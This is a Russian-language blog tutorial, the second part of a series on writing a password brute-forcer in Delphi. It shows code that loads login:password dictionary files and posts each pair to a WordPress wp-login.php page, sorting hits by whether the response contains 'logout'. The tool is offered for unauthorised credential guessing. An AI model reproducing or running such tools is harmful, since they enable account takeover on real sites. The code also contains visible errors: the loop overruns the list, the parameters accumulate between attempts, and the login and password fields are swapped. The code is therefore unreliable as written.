Пишем Брут. Часть 2

Подумав, что собственно ждать, решил сразу запилить вторую часть.
Сейчас будем дорабатывать брут под разные виды списков (словарей). Как это понимать? Да легко: есть словари, где список логинов и паролей представлен в виде: login:password, а не только Only logins или Only passwords.
Вот под такой список сейчас и настроим брут. На той форме, что сделали в первой части, добавим несколько компонентов: ещё 1 memo, что бы разделить список BAD'ов и GOOD'ов; ещё 1 OpenDialog; ещё 1-у метку, 1 edit и 1 кнопку. edit сразу переименовываем в txtLogPass.



И поехали писать код:
Для кнопки открытия файла вида login:pass :

var Op1: TOpenDialog;
PLL: TStringList;

procedure TBrute.Button2Click(Sender: TObject);
begin
Op1:= TOpenDialog.Create(OpenDialog2); // Инициализация переменной типа TOpenDialog
Op1:= OpenDialog2; //Привязка переменной к компоненту
if Op1.Execute then
begin
txtLogPass.Text:= Op1.FileName;
PLL:= TStringList.Create;
PLL.LoadFromFile(Op1.FileName);
end;
end;


В принципе всё как и раньше. Теперь у нас стоит другая задача. В файле будут строки вида: логин:пароль. Надо как-то разбить эту строку на 2 части, в одной логин, во второй пароль. Как это сделать? Сейчас придумаем...

Немного теории. В Visual Basic есть такая функция - split. Они разбивает строку по определённому символу (разделителю). Например указал ей в качестве разделителя - ':' двоеточие, а в строке у нас такая запись: 'Hello:World'. Соответственно функция вернёт в первой строке Hello, а во второй World, так как разбила и раскидала по строкам. Удобно, ничего не скажешь.
Но теперь вспомним, что в Delphi, в примере с брутом мы используем StringList'ы. А у данных массивов есть такие свойства, как Delimiter, что так же означает разделитель.
Используем так:

PLL.Delimiter:= ':';
Pll.DelimitedText:= Pll.Text;


Где PLL - загруженный файл вида login:pass. Вот и всё, теперь логин в первой строке, пароль во второй. Осталось немного модернизировать алгоритм брута. Я буду писать всё это в процедуре:

public
  procedure PassLogList;

procedure TBrute.PassLogList;
var I,p : Integer;
Result: TStringList;
Param: TStringList;
begin

PLL.Delimiter:= ':';
Pll.DelimitedText:= Pll.Text;

Result:= TStringList.Create;
Param:= TStringList.Create;
p:= 0;
for i := 0 to PLL.Count-1 do
  begin
    Param.Add('pwd='+PLL.Strings[p]);
    Param.Add('log='+PLL.Strings[p+1]);
    Result.Text:= idHTTP1.Post('http://test1.ru/wp-login.php', Param);
    if pos('logout',Result.Text) <> 0 then Memo1.Lines.Add(PLL.Strings[p]+' : ' +PLL.Strings[p+1]) else
    Memo2.Lines.Add(PLL.Strings[p]+' : ' +PLL.Strings[p+1]);
    P:= p+2;
  end;
end;


Ну а дальше уже или кидай RadioButton'ы, что бы у пользователя был выбор какого вида словарь выбрать, или же по кнопкам, в общем как хочешь.
Ну и конечно, всё работает:



Спасибо всем.
Теги:
TOpenDialog, второй, login, строке, список, логин, первой, пароль, TStringList, переменной, Create, теперь, части, begin, функция, OpenDialog2, Delimiter, сразу, писать, строку
Добавлено: 24 Февраля 2015 21:02:07 Добавил: Андрей Ковальчук Нравится 0
Добавить
Комментарии:
Нету комментариев для вывода...